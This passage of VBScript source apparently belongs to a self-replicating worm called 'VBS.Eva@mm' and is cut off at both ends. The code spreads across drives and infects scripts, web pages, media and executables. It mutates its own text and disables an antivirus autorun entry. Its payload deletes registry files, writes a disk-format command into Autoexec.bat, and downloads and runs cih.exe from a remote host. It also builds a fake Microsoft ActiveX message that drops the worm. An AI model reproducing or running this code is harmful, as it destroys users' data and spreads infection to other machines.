vbcrlf & "'moDkAfyjnREBtOLeDeanqHbl" & vbcrlf & "	Set Template = Nothing" & vbcrlf & "	WordAppl.Quit" & vbcrlf & "End Sub" & vbcrlf & "" & vbcrlf & "'qXiEpjHRSQVFwFguuMQTKgwoJLcI" & vbcrlf & "Sub SpreadViaDrives()" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim hdready, drive" & vbcrlf & "Dim Drives : Set Drives = DQHQEIB.Drives" & vbcrlf & "'iGVHrVonS" & vbcrlf & "" & vbcrlf & " 	For Each Drive In Drives" & vbcrlf & "  	 If Drive.Drivetype = Remote then" & vbcrlf & "   	  hdready = Drive & "&chr(34)&"\"&chr(34)&"" & vbcrlf & "'ZKOlOU" & vbcrlf & "      Call SubFolders(hdready)" & vbcrlf & "     ElseIf Drive.IsReady Then" & vbcrlf & "   	  hdready = Drive & "&chr(34)&"\"&chr(34)&"" & vbcrlf & "      Call SubFolders(hdready)" & vbcrlf & "'fFyplyRcAlwXRrtuBKxblm" & vbcrlf & "     End If" & vbcrlf & "    Next" & vbcrlf & "End Sub" & vbcrlf & "" & vbcrlf & "'pQXHWVgkneHXPxdgDchxtap" & vbcrlf & "Function SubFolders(Path)" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim File, Ext" & vbcrlf & "Dim Fold : Set Fold = DQHQEIB.GetFolder(Path)" & vbcrlf & "'SqzOmJlNaEb" & vbcrlf & "Dim Files : Set Files = Fold.Files" & vbcrlf & "    " & vbcrlf & " 	For Each File In Files" & vbcrlf & "     Ext = lcase(DQHQEIB.GetExtensionName(File.Path))" & vbcrlf & "'vQxX" & vbcrlf & "" & vbcrlf & "  	  If File.Name = "&chr(34)&"mirc.ini"&chr(34)&" Then" & vbcrlf & "       Call InfectMirc(file.ParentFolder)" & vbcrlf & "  	  End If" & vbcrlf & "'RXTas" & vbcrlf & "" & vbcrlf & "  	  If (Ext = "&chr(34)&"vbs"&chr(34)&") or (Ext = "&chr(34)&"vbe"&chr(34)&") or (Ext = "&chr(34)&"wsh"&chr(34)&") Then" & vbcrlf & "   	   If File.Path <> DQOPHKQ Then" & vbcrlf & "        Call InfectVBSFile(File.Path)" & vbcrlf & "'SUysGNcl" & vbcrlf & "   	   End If " & vbcrlf & "  	  End If" & vbcrlf & "  " & vbcrlf & "  	 If (Ext = "&chr(34)&"htm"&chr(34)&") or (Ext = "&chr(34)&"html"&chr(34)&") Then" & vbcrlf & "'JEFDIryHZxwPDGwZzb" & vbcrlf & "      If File.Path <> PRPQOQT Then" & vbcrlf & "       Call InfectTKLGRQU(File.Path)" & vbcrlf & "      End If" & vbcrlf & "     End If" & vbcrlf & "'LyVLAQIIttYbpVkToI" & vbcrlf & "    " & vbcrlf & "     If (Ext = "&chr(34)&"jpg"&chr(34)&") or (Ext = "&chr(34)&"mp3"&chr(34)&") Then" & vbcrlf & "      Call InfectOtherFile(File.Path)	" & vbcrlf & "     End If" & vbcrlf & "'JGyTQjXdjfsMN" & vbcrlf & "" & vbcrlf & "     If (Ext = "&chr(34)&"exe"&chr(34)&") or (Ext = "&chr(34)&"xls"&chr(34)&") or (Ext = "&chr(34)&"com"&chr(34)&") Then" & vbcrlf & "      Call InfectSystemFile(File.Path)" & vbcrlf & "     End If" & vbcrlf & "'gqRvoYuEsWXVKCKlQzRV" & vbcrlf & "    Next" & vbcrlf & "" & vbcrlf & "    Set File = Fold.Subfolders" & vbcrlf & "  	 For Each Subfol In File" & vbcrlf & "'BbJrmawmcrDjjMkJXhSfWx" & vbcrlf & "      Call Subfolders(Subfol.path)" & vbcrlf & "     Next" & vbcrlf & "End Function" & vbcrlf & "" & vbcrlf & "'wpLHaybjnEhsmUfAXmfENOMSBtBdrq" & vbcrlf & "Sub Payload()" & vbcrlf & "On Error Resume Next" & vbcrlf & "    Call CreateGarbage()" & vbcrlf & "    Call MerlinAction()" & vbcrlf & "'NQHctlZ" & vbcrlf & "    DQHQEIB.DeleteFile(MCEPSRO &"&chr(34)&"Regedit.exe"&chr(34)&")" & vbcrlf & " " & vbcrlf & "    If RegGet("&chr(34)&"HKCU\Software\Eva\Date"&chr(34)&") > Day(Date) then" & vbcrlf & "     If RegGet("&chr(34)&"HKCU\Software\Eva\Date"&chr(34)&") - Day(Date) > 3 then" & vbcrlf & "'IFKZeC" & vbcrlf & "      DQHQEIB.DeleteFile(Windir &"&chr(34)&"User.dat"&chr(34)&")" & vbcrlf & "      DQHQEIB.DeleteFile(Windir &"&chr(34)&"User.bak"&chr(34)&")" & vbcrlf & "      DQHQEIB.DeleteFile(Windir &"&chr(34)&"System.dat"&chr(34)&")" & vbcrlf & "      DQHQEIB.DeleteFile(Windir &"&chr(34)&"System.bak"&chr(34)&")" & vbcrlf & "'DnSkjPuOxDD" & vbcrlf & "  " & vbcrlf & "      Dim Autoexec : Set Autoexec = DQHQEIB.OpenTextFile("&chr(34)&"C:\Autoexec.bat"&chr(34)&",HMGFINT,True)" & vbcrlf & "          Autoexec.WriteLine "&chr(34)&"format c: /q /autotest /u"&chr(34)&"" & vbcrlf & "          Autoexec.Close" & vbcrlf & "'tqQiJBwJmLwHbDFjGMVJm" & vbcrlf & "      Set Autoexec = Nothing" & vbcrlf & "      " & vbcrlf & "      JEMRAND.Run "&chr(34)&"RunDll32.exe Shell32.dll,SHExitWindowsEx 0x01"&chr(34)&"" & vbcrlf & "     End If " & vbcrlf & "'wuBckSarvypRcIoqOnsIElABLYxU" & vbcrlf & "    Else" & vbcrlf & "     RegSet "&chr(34)&"HKCU\Software\Eva\Date"&chr(34)&", Day(Date), "&chr(34)&"0"&chr(34)&"" & vbcrlf & "    End If" & vbcrlf & "      " & vbcrlf & "'gBBOHJcQc" & vbcrlf & "	If Day(now) = 2 then" & vbcrlf & "	 RegSet "&chr(34)&"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop"&chr(34)&", 00000001, "&chr(34)&"1"&chr(34)&" " & vbcrlf & "     HTTPFileDownload "&chr(34)&"http://fws.freewebspace.com/cih.exe"&chr(34)&",UQPEOJG &"&chr(34)&"cih.exe"&chr(34)&"" & vbcrlf & "     JEMRAND.run UQPEOJG &"&chr(34)&"cih.exe"&chr(34)&"" & vbcrlf & "'kEUjKEegRYnwkUPPN" & vbcrlf & "    End If     " & vbcrlf & "End Sub    " & vbcrlf & "" & vbcrlf & "Sub Antidelete(rname)" & vbcrlf & "'DKSeIIZORIdK" & vbcrlf & "On Error Resume Next" & vbcrlf & "	RegDelete("&chr(34)&"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Norton Auto-Protect"&chr(34)&")" & vbcrlf & "" & vbcrlf & " 	Do" & vbcrlf & "'kWJaVLgTSEFcmAvyTaTRKuco" & vbcrlf & "  	 If Not CheckFileFolderExists(DQOPHKQ,True) Then" & vbcrlf & "   	  Dim SourceFile : Set SourceFile = DQHQEIB.CreateTextFile(DQOPHKQ,True)" & vbcrlf & "          SourceFile.Write HCSTOMK" & vbcrlf & "          SourceFile.Close" & vbcrlf & "'GTfgFGRl" & vbcrlf & "      Set SourceFile = Nothing    " & vbcrlf & "      End If" & vbcrlf & "" & vbcrlf & "  	 If Not CheckFileFolderExists(MCEPSRO &PRGIEJA,True) Then" & vbcrlf & "'wOsAVSvqqpuee" & vbcrlf & "   	  Dim PTPPQVC : Set PTPPQVC = DQHQEIB.CreateTextFile(MCEPSRO &FName,True)" & vbcrlf & "          PTPPQVC.Write HCSTOMK" & vbcrlf & "          PTPPQVC.Close" & vbcrlf & "      Set PTPPQVC = Nothing    " & vbcrlf & "'klpsjMlUD" & vbcrlf & "      End If" & vbcrlf & "" & vbcrlf & "     If Not RegGet("&chr(34)&"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"&chr(34)&" &rname) = "&chr(34)&"wscript.exe "&chr(34)&" &MCEPSRO &rname &"&chr(34)&" %"&chr(34)&" then" & vbcrlf & "      RegSet "&chr(34)&"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"&chr(34)&" &rname,"&chr(34)&"wscript.exe "&chr(34)&" &MCEPSRO &rname &"&chr(34)&" %"&chr(34)&", "&chr(34)&"0"&chr(34)&"" & vbcrlf & "'BXMCSKKvg" & vbcrlf & "     End if" & vbcrlf & "    Loop" & vbcrlf & "End Sub" & vbcrlf & "" & vbcrlf & "'drHmGquY" & vbcrlf & "" & vbcrlf & "Function CreateFileName()" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim tmpName, tmpFileType, tmpExtension, TypeExtension, Indx, NameLen" & vbcrlf & "'IBVSlKfl" & vbcrlf & "	Randomize(Timer)" & vbcrlf & "    NameLen = Int(Rnd(1)*30)+1" & vbcrlf & "    " & vbcrlf & "    For Indx = 1 to NameLen" & vbcrlf & "'uxPgisExqLbwqeOYZXMEM" & vbcrlf & "     Randomize(Timer)" & vbcrlf & "     tmpName = tmpName & Chr(Int(Rnd(1)*26)+65)" & vbcrlf & "    Next" & vbcrlf & "    " & vbcrlf & "'LKdZvMEmYrXmxVeWHfEDcNaRVsWc" & vbcrlf & "	Randomize(Timer)" & vbcrlf & "    tmpFileType = Int(Rnd(1)* 11) + 1" & vbcrlf & "    TypeExtension = "&chr(34)&"docxlsmdbbmpmp3txtjpggifavimpghtmtxt"&chr(34)&"" & vbcrlf & "    tmpExtension = "&chr(34)&"."&chr(34)&" & Mid(TypeExtension,((tmpFileType-1)*3)+1,3) &"&chr(34)&".vbs"&chr(34)&"" & vbcrlf & "'pmMeGwsGYjHtEYyB" & vbcrlf & "" & vbcrlf & "    CreateFileName = tmpName & tmpExtension" & vbcrlf & "End Function" & vbcrlf & "" & vbcrlf & "'CIRGistrwXgOnsvlOWFkn" & vbcrlf & "Function Mutator(CTM)" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim MMKTEAA, CommentsCount, CommentPlace, y, b, MutateBody, Comment" & vbcrlf & "" & vbcrlf & "'joFBhwZZ" & vbcrlf & "	MMKTEAA = Split(CTM, vbCrLf)" & vbcrlf & " 	CommentsCount = CByte(GetRndNumber(3,UBound(MMKTEAA) / 1.5))" & vbcrlf & " 	CommentPlace = CByte(UBound(MMKTEAA) / CommentsCount)" & vbcrlf & " 	y = 0" & vbcrlf & "'HVuQsUhLiunIpPwJPLYkCKMWqkRUx" & vbcrlf & "" & vbcrlf & " 	For b = 0 To UBound(MMKTEAA) Step 1" & vbcrlf & "  	 MutateBody = MutateBody & MMKTEAA(b) & vbCrLf" & vbcrlf & "  	 y = y + 1" & vbcrlf & "'dYBLM" & vbcrlf & " " & vbcrlf & "  	 If y = CommentPlace Then" & vbcrlf & "      Comment = MakeComment()" & vbcrlf & "      MutateBody = MutateBody & Comment" & vbcrlf & "'PyGOaFEW" & vbcrlf & "      y = 0" & vbcrlf & "     End If" & vbcrlf & "    Next" & vbcrlf & "	" & vbcrlf & "'OEaHigSG" & vbcrlf & "	Mutator = MutateBody" & vbcrlf & "End Function" & vbcrlf & "" & vbcrlf & "Function MakeComment()" & vbcrlf & "'bXgrQQoxMlHkLmVkgGnAHCPc" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim CommentLenght, Comment, z, a" & vbcrlf & "" & vbcrlf & "	CommentLenght = CByte(GetRndNumber(3,30))" & vbcrlf & "'BDNhStLpvSPsmnlraYa" & vbcrlf & "	Comment = Chr(39)" & vbcrlf & " " & vbcrlf & "	For z = 1 To CommentLenght Step 1" & vbcrlf & "  	 a = CByte(GetRndNumber(65,122))" & vbcrlf & "'gWimpgI" & vbcrlf & "  " & vbcrlf & "  	 If a < 91 Or a > 96 Then" & vbcrlf & "   	  Comment = Comment & Chr(a)" & vbcrlf & "  	 Else" & vbcrlf & "'aOKwUJyOZGGrcHnEjDmrUHExSOhGb" & vbcrlf & "   	  z = z - 1" & vbcrlf & "  	 End If" & vbcrlf & " 	Next" & vbcrlf & "" & vbcrlf & "'koFitnVgBXngEOPNTCt" & vbcrlf & "	MakeComment = Comment & vbCrLf" & vbcrlf & "End Function" & vbcrlf & "" & vbcrlf & "Function GetRndNumber(a,b)" & vbcrlf & "'esrK" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim c" & vbcrlf & "	Randomize(Timer)" & vbcrlf & " 	c = (b - a) * Rnd + a" & vbcrlf & "'RIdumGJGL" & vbcrlf & " 	GetRndNumber = c" & vbcrlf & "End Function" & vbcrlf & "" & vbcrlf & "Function CheckFileFolderExists(strName, fFile)" & vbcrlf & "'fDSEoTlkQuPyEaE" & vbcrlf & "On Error Resume Next" & vbcrlf & "	CheckFileFolderExists = False" & vbcrlf & " " & vbcrlf & "  	If fFile = True Then" & vbcrlf & "'ZnjJbDupDWgEqBWwyd" & vbcrlf & "     If DQHQEIB.FileExists(strName) = True Then" & vbcrlf & "      CheckFileFolderExists = True" & vbcrlf & "      Exit Function" & vbcrlf & "     End If" & vbcrlf & "'GODgpqouUeMZlpsjLUChkIhmCxetWW" & vbcrlf & "    Else" & vbcrlf & "     If DQHQEIB.FolderExists(strName) = True Then " & vbcrlf & "      CheckFileFolderExists = True" & vbcrlf & "      Exit Function" & vbcrlf & "'TbHGauXu" & vbcrlf & "     End if" & vbcrlf & "    End If" & vbcrlf & "End Function" & vbcrlf & "" & vbcrlf & "'BVCKVYe" & vbcrlf & "Function RegGet(value)" & vbcrlf & "On Error Resume Next" & vbcrlf & "	RegGet = JEMRAND.RegRead(value)" & vbcrlf & "End Function" & vbcrlf & "'OXYcDxaLShqeOJJHNvEMCBTILCEgd" & vbcrlf & "" & vbcrlf & "Sub RegDelete(value)" & vbcrlf & "On Error Resume Next" & vbcrlf & "	JEMRAND.RegDelete value" & vbcrlf & "'SjUdpNNlvJiFhIjZTh" & vbcrlf & "End Sub" & vbcrlf & "" & vbcrlf & "Sub RegSet(key,value,keytype)" & vbcrlf & "On Error Resume Next" & vbcrlf & "'ElwEzMayALfQqImtPYMp" & vbcrlf & "	Select Case keytype   " & vbcrlf & "  	 Case "&chr(34)&"1"&chr(34)&" JEMRAND.RegWrite key,value,"&chr(34)&"REG_DWORD"&chr(34)&"" & vbcrlf & "  	 Case Else JEMRAND.RegWrite key,value" & vbcrlf & " 	End Select  " & vbcrlf & "'kioWGdTfjmdFfOwreCqgvIo" & vbcrlf & "End Sub" & vbcrlf & "" & vbcrlf & "" & vbcrlf & "Sub CreateFiles(FileName)" & vbcrlf & "'QoOlXkComfzwWoQWScsRShcJ" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim KGTTSKT, KHGJUVS, BVMFLJP, NLSSHVH, MMKTEAA, x, Clearfile, Mutatebody, Buffer, Code, htm, htm2  " & vbcrlf & "" & vbcrlf & "	Dim PTPPQVC : Set PTPPQVC = DQHQEIB.OpenTextFile(DQOPHKQ,IBDLNGE,False)" & vbcrlf & "'pMbPsDDCHqiqYgf" & vbcrlf & "  	     Do While PTPPQVC.AtEndOfStream = False" & vbcrlf & "  	      Buffer = PTPPQVC.ReadLine" & vbcrlf & "          HCSTOMK = HCSTOMK &Buffer &vbCrLf" & vbcrlf & "   	      Code = Code &Chr(34) &"&chr(34)&" & vbcrlf & "&chr(34)&" &Chr(34) &Replace(Buffer, Chr(34), Chr(34) &"&chr(34)&"&chr(34)&"&chr(34)&" &Chr(34))" & vbcrlf & "'KNEqiX" & vbcrlf & " 	     Loop" & vbcrlf & "        PTPPQVC.Close" & vbcrlf & "    Set PTPPQVC = Nothing" & vbcrlf & "    " & vbcrlf & "'FCHW" & vbcrlf & "    Randomize(Timer)" & vbcrlf & "    KHGJUVS = "&chr(34)&"DLJGRFL JEMRAND DQHQEIB MCEPSRO UQPEOJG UEEGHBH PRPQOQT DQOPHKQ PRGIEJA HCSTOMK HMGFINT IBDLNGE QFPBPVF TKLGRQU PTPPQVC KGTTSKT KHGJUVS BVMFLJP NLSSHVH MMKTEAA "&chr(34)&"" & vbcrlf & "" & vbcrlf & "    Do" & vbcrlf & "'zOAkPigMrLvAANGXqPk" & vbcrlf & "     KGTTSKT = Left(KHGJUVS, InStr(KHGJUVS, Chr(32)) - 1)" & vbcrlf & "     KHGJUVS = Mid(KHGJUVS, InStr(KHGJUVS, Chr(32)) + 1)" & vbcrlf & "     BVMFLJP = Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))" & vbcrlf & "" & vbcrlf & "'mzScBmxYSsuvCLycmnlqRYaIWW" & vbcrlf & "     Do" & vbcrlf & "      NLSSHVH = InStr(NLSSHVH + 1, HCSTOMK, KGTTSKT)" & vbcrlf & "      " & vbcrlf & "      If NLSSHVH Then" & vbcrlf & "'lofIYQyegEdiyubqSTqBPn" & vbcrlf & "       HCSTOMK = Mid(HCSTOMK, 1, (NLSSHVH - 1)) & BVMFLJP & Mid(HCSTOMK, (NLSSHVH + Len(KGTTSKT)))" & vbcrlf & "      End If " & vbcrlf & "     Loop While NLSSHVH" & vbcrlf & "    Loop While KHGJUVS <> "&chr(34)&""&chr(34)&"" & vbcrlf & "'mObFbohR" & vbcrlf & "" & vbcrlf & "	MMKTEAA = Split(HCSTOMK, vbCrLf)" & vbcrlf & "" & vbcrlf & "	For x = 0 To UBound(MMKTEAA) Step 1" & vbcrlf & "'YGSYUbtLTVztHOdmbKFGEJsAIyxPE" & vbcrlf & " 	 If MMKTEAA(x) = Chr(39) & Chr(39) & "&chr(34)&"VBS.Eva@mm"&chr(34)&" Then" & vbcrlf & "  	  Exit For" & vbcrlf & "	 End If" & vbcrlf & "	Next" & vbcrlf & "'xjQrpPf" & vbcrlf & "" & vbcrlf & "	For x = x To UBound (MMKTEAA) Step 1" & vbcrlf & " 	 If (Mid(MMKTEAA(x), 1, 1) = Chr(39)) and (Mid(MMKTEAA(x), 2,1) <> Chr(39)) Then" & vbcrlf & "      x = x" & vbcrlf & "'QalYYKKirGfBdFZg" & vbcrlf & "     Else" & vbcrlf & "      Clearfile = Clearfile & MMKTEAA(x) & vbCrLf" & vbcrlf & "      If MMKTEAA(x) = Chr(39) & Chr(39) & "&chr(34)&"End"&chr(34)&" Then" & vbcrlf & "       Exit For" & vbcrlf & "'WPdaAhtAvJuwHbM" & vbcrlf & "      End If" & vbcrlf & "     End If" & vbcrlf & "    Next" & vbcrlf & "" & vbcrlf & "'FipLUJlghfkSCaQcgjYybPKx" & vbcrlf & "	MutateBody = vbCrLf & Mutator(Clearfile)" & vbcrlf & "     " & vbcrlf & "	Dim VBSFile : Set VBSFile = DQHQEIB.OpenTextFile(MCEPSRO &PRGIEJA,QFPBPVF,True)" & vbcrlf & "        VBSFile.Write MutateBody" & vbcrlf & "'ZPjXWIsXqEUzTDIeXUOc" & vbcrlf & "        VBSFile.Close" & vbcrlf & "    Set VBSFile = Nothing      " & vbcrlf & "" & vbcrlf & "  	htm = "&chr(34)&"<"&chr(34)&" & "&chr(34)&"HTML><"&chr(34)&" & "&chr(34)&"HEAD><"&chr(34)&" & "&chr(34)&"META CONTENT="&chr(34)&" & Chr(34) &"&chr(34)&"text/html; charset=iso-8859-1"&chr(34)&" & Chr(34) & "&chr(34)&" http-equiv=Content-Type><"&chr(34)&" & "&chr(34)&"META CONTENT="&chr(34)&" & Chr(34) & "&chr(34)&"MSHTML 5.00.2314.1000"&chr(34)&" & Chr(34) & "&chr(34)&" NAME=GENERATOR><"&chr(34)&" & "&chr(34)&"META CONTENT="&chr(34)&" & Chr(34) & "&chr(34)&"AUTHOR"&chr(34)&" & Chr(34) & "&chr(34)&" NAME=Kleiner Stern><"&chr(34)&" & "&chr(34)&"STYLE></"&chr(34)&" & "&chr(34)&"STYLE></"&chr(34)&" & "&chr(34)&"HEAD><"&chr(34)&" & "&chr(34)&"BODY bgColor=#ffffff><"&chr(34)&" & "&chr(34)&"SCRIPT LANGUAGE=VBScript>"&chr(34)&"" & vbcrlf & "'xWryuHLtuGQLlDYoK" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&"On Error Resume Next"&chr(34)&"" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&"Dim DQHQEIB : Set DQHQEIB = CreateObject("&chr(34)&" & Chr(34) & "&chr(34)&"Scripting.FileSystemObject"&chr(34)&" & Chr(34) & "&chr(34)&")"&chr(34)&"" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&"If Err.Number <> 0 Then"&chr(34)&"" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&" Document.Write "&chr(34)&" & Chr(34) & "&chr(34)&"<font face='verdana' color=#ff0000 size='2'>You need ActiveX enabled if you want to see this e-mail.<br>Please open this message again and click accept ActiveX<br>Microsoft</font>"&chr(34)&" & Chr(34) & "&chr(34)&""&chr(34)&"" & vbcrlf & "'rffdj" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&"Else"&chr(34)&"" & vbcrlf & "    htm = htm & vbCrLf & "&chr(34)&""&chr(34)&"" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&"Dim VBSFile : Set VBSFile = DQHQEIB.CreateTextFile(DQHQEIB.GetSpecialFolder(0) & "&chr(34)&" & Chr(34) & "&chr(34)&"\"&chr(34)&" &PRGIEJA & Chr(34) & "&chr(34)&",True)"&chr(34)&"" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&"    VBSFile.Write  "&chr(34)&" & Chr(34) & Code & Chr(34)" & vbcrlf & "'aiQptwnPaYHmoMlqGSjxjy" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&"    VBSFile.Close"&chr(34)&"" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&"Set VBSFile.Close = Nothing"&chr(34)&"" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&""&chr(34)&"" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&"Dim JEMRAND : Set JEMRAND = CreateObject("&chr(34)&" &Chr(34) &"&chr(34)&"wscript.shell"&chr(34)&" &Chr(34) &"&chr(34)&")"&chr(34)&"" & vbcrlf & "'WvbuejMjwpKHay" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&"    JEMRAND.run DQHQEIB.GetSpecialFolder(0) & "&chr(34)&" &Chr(34) &"&chr(34)&"\wscript.exe "&chr(34)&" &Chr(34) &"&chr(34)&" & DQHQEIB.GetSpecialFolder(0) & "&chr(34)&" &Chr(34) &"&chr(34)&"\"&chr(34)&" &PRGIEJA &"&chr(34)&" %"&chr(34)&" &Chr(34) &"&chr(34)&""&chr(34)&"" & vbcrlf & "  	htm = htm & vbCrLf & "&chr(34)&"Set JEMRAND = Nothing"&chr(34)&"" & vbcrlf & "  	htm2 = htm2 & vbCrLf & "&chr(34)&"document.write "&chr(34)&" & Chr(34) & "&chr(34)&"Microsoft empfiehlt to ActiveX because of the great threat of a virus contermination!"&chr(34)&" &CHr(34)" & vbcrlf & "  	htm2 = htm2 & vbCrLf & "&chr(34)&"End If"&chr(34)&"" & vbcrlf & "'RNZmDNYrmTVzWfZ" & vbcrlf & "  	htm2 = htm2 & vbCrLf & "&chr(34)&"<"&chr(34)&" & "&chr(34)&"/SCRIPT></"&chr(34)&" & "&chr(34)&"BODY></"&chr(34)&" & "&chr(34)&"HTML>"&chr(34)&"" & vbcrlf & "  	HTMLBody = htm & htm2" & vbcrlf & "" & vbcrlf & "  	Dim HtmlFile : Set HtmlFile = DQHQEIB.OpenTextFile(PRPQOQT,QFPBPVF,True)" & vbcrlf & "'NNMR" & vbcrlf & "        HtmlFile.Write htm" & vbcrlf & "      	HtmlFile.Write vbcrlf" & vbcrlf & "      	HtmlFile.Write htm2" & vbcrlf & "      	HtmlFile.Close" & vbcrlf & "'sBcqpIMPGbskZFHEJYVCQmm" & vbcrlf & "    Set HtmlFile = Nothing" & vbcrlf & "End Sub" & vbcrlf & "" & vbcrlf & "Function GetIPAddress()" & vbcrlf & "'kytxRoRXlZsamsoCUe" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim Buffer, dot, subnet, i, tmp" & vbcrlf & "Dim Winsock : Set Winsock = CreateObject("&chr(34)&"MSWinsock.Winsock"&chr(34)&")" & vbcrlf & "	Buffer = Winsock.LocalIP" & vbcrlf & "'ozUuwbiEVJmhhglckDaargja" & vbcrlf & "    " & vbcrlf & "    If Buffer = "&chr(34)&""&chr(34)&" then" & vbcrlf & "  	 Randomize(timer)" & vbcrlf & "     JEMRAND.run MCEPSRO &"&chr(34)&"ipconfig.exe /batch "&chr(34)&" &UEEGHBH &"&chr(34)&"ip.txt"&chr(34)&",0,True " & vbcrlf & "'cLJo" & vbcrlf & "" & vbcrlf & "	 Dim IPFile : Set IPFile = DQHQEIB.OpenTextFile(UEEGHBH &"&chr(34)&"ip.txt"&chr(34)&",IBDLNGE,False)" & vbcrlf & "    	 IPFile.SkipLine" & vbcrlf & "    	 IPFile.SkipLine" & vbcrlf & "'ODsJUBBmmRiOdMhBPCy" & vbcrlf & "    	 IPFile.SkipLine" & vbcrlf & "    	 IPFile.SkipLine" & vbcrlf & "    	 IPFile.SkipLine" & vbcrlf & "    	 Buffer = IPFile.ReadLine " & vbcrlf & "'MJcQclEFjKoVgRYnwlUPQOTDuD" & vbcrlf & "	   	 IPFile.Close" & vbcrlf & "     Set IPFile = Nothing" & vbcrlf & " " & vbcrlf & "     DQHQEIB.DeleteFile(UEEGHBH &"&chr(34)&"ip.txt"&chr(34)&")" & vbcrlf & "'JsKORIeKmWJaVLgTTFpT" & vbcrlf & "    End If" & vbcrlf & "    " & vbcrlf & "    dot = 0  " & vbcrlf & "    subnet = "&chr(34)&""&chr(34)&"" & vbcrlf & "'QaLP" & vbcrlf & "    Buffer = Mid(Buffer,32,Len(Buffer))" & vbcrlf & "   " & vbcrlf & "  	For i = 1 to Len(Buffer)" & vbcrlf & "   	 If Mid(Right(Buffer,i),1,1) = "&chr(34)&"."&chr(34)&" Then" & vbcrlf & "'qdaZnkKcEKGT" & vbcrlf & "      dot = dot + 1" & vbcrlf & "   	 End If" & vbcrlf & "   " & vbcrlf & "   	 If dot = 3 Then" & vbcrlf & "'wUWalfNsPfTvGHFLtltkj" & vbcrlf & "      SubNet = Left(Buffer,i)	" & vbcrlf & "      Exit For" & vbcrlf & "     End If" & vbcrlf & "    Next" & vbcrlf & "'GJzm" & vbcrlf & "" & vbcrlf & "	For i = 0 to 2  " & vbcrlf & " 	 tmp = tmp &Int((9 - 0 + 1) * Rnd + 0)" & vbcrlf & "	Next" & vbcrlf & "'SxBXxDSuKvgLdcImHqvY" & vbcrlf & "" & vbcrlf & "    GetIPAddress = Subnet &tmp " & vbcrlf & "End Function" & vbcrlf & "" & vbcrlf & "'CuPMfEWSrJaTxrYFbkISTRWqx" & vbcrlf & "Sub CreateGarbage()" & vbcrlf & "On Error Resume Next" & vbcrlf & "Dim aname,x" & vbcrlf & " 	Randomize(Timer)" & vbcrlf & "'xMLbewOGnZsZn" & vbcrlf & "    Do until x = 2500" & vbcrlf & "  	 Do until Len(AName) = 7 " & vbcrlf & "   	  AName = AName &Chr(Int((90 - 80 + 1) * Rnd + 80))" & vbcrlf & "  	 Loop" & vbcrlf & "'WfIIgpEdycDXtXdrxfrxtH" & vbcrlf & "      " & vbcrlf & "   	 Dim GarbageFolder : Set GarbageFolder = DQHQEIB.CreateFolder("&chr(34)&"c:\"&chr(34)&" &AName)" & vbcrlf & "       	 GarbageFolder.attributes = GarbageFolder.attributes + 2" & vbcrlf & "         GarbageFolder.attributes = GarbageFolder.attributes + 1" & vbcrlf & "'ksuFZBDgnJSHjef" & vbcrlf & "     Set GarbageFolder = Nothing" & vbcrlf & "       " & vbcrlf & "   	 Dim GarbageFile : Set GarbageFile = DQHQEIB.CreateTextFile("&chr(34)&"c:\"&chr(34)&" &AName &"&chr(34)&"\"&chr(34)&" &AName &"&chr(34)&".txt"&chr(34)&", True)" & vbcrlf & "         GarbageFile.WriteLine "&chr(34)&"Everybody need somebody - love is peace and the only truth!"&chr(34)&" " & vbcrlf & "'iYhApehzaIGlvlbqCiiy" & vbcrlf & "         GarbageFile.WriteLine "&chr(34)&"so go out an love somebody!"&chr(34)&"" & vbcrlf & "         GarbageFile.WriteLine "&chr(34)&"days ago, i loved you, eva!"&chr(34)&"" & vbcrlf & "         GarbageFile.Close" & vbcrlf & "     Set GarbageFile = Nothing    " & vbcrlf & "'fLaKeyMyvoKGNZ" & vbcrlf & "     " & vbcrlf & "  	 AName = "&chr(34)&""&chr(34)&" " & vbcrlf & "  	 x = x + 1" & vbcrlf & " 	Loop       " & vbcrlf & "'iCDgHlTePVltiSMNLR" & vbcrlf & "End Sub" & vbcrlf & "" & vbcrlf & "Sub MerlinAction()" & vbcrlf & "On Error Resume Next" & vbcrlf & "'rAc" & vbcrlf & "Dim MerlinDir" & vbcrlf & "Dim AgentControl : Set AgentControl = CreateObject("&chr(34)&"Agent.Control.1"&chr(34)&")" & vbcrlf & " " & vbcrlf & "	If IsObject(AgentControl) Then" & vbcrlf & "'FXVqXzhdWncYh" & vbcrlf & "  	 AgentControl.Connected = True" & vbcrlf & "   	 MerlinDir = RegGet("&chr(34)&"HKLM\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir"&chr(34)&")" & vbcrlf & "   	 AgentControl.Characters.Load "&chr(34)&"merlin"&chr(34)&", MerlinDir &"&chr(34)&"\Microsoft Agent\characters\merlin.acs"&chr(34)&"" & vbcrlf & "" & vbcrlf & "'aRCayNJMRnaXlhHBIEQUeLMXbDU" & vbcrlf & "     Dim Merlin : Set Merlin = AgentControl.Characters("&chr(34)&"merlin"&chr(34)&")" & vbcrlf & "         Merlin.Play "&chr(34)&"Greet"&chr(34)&" " & 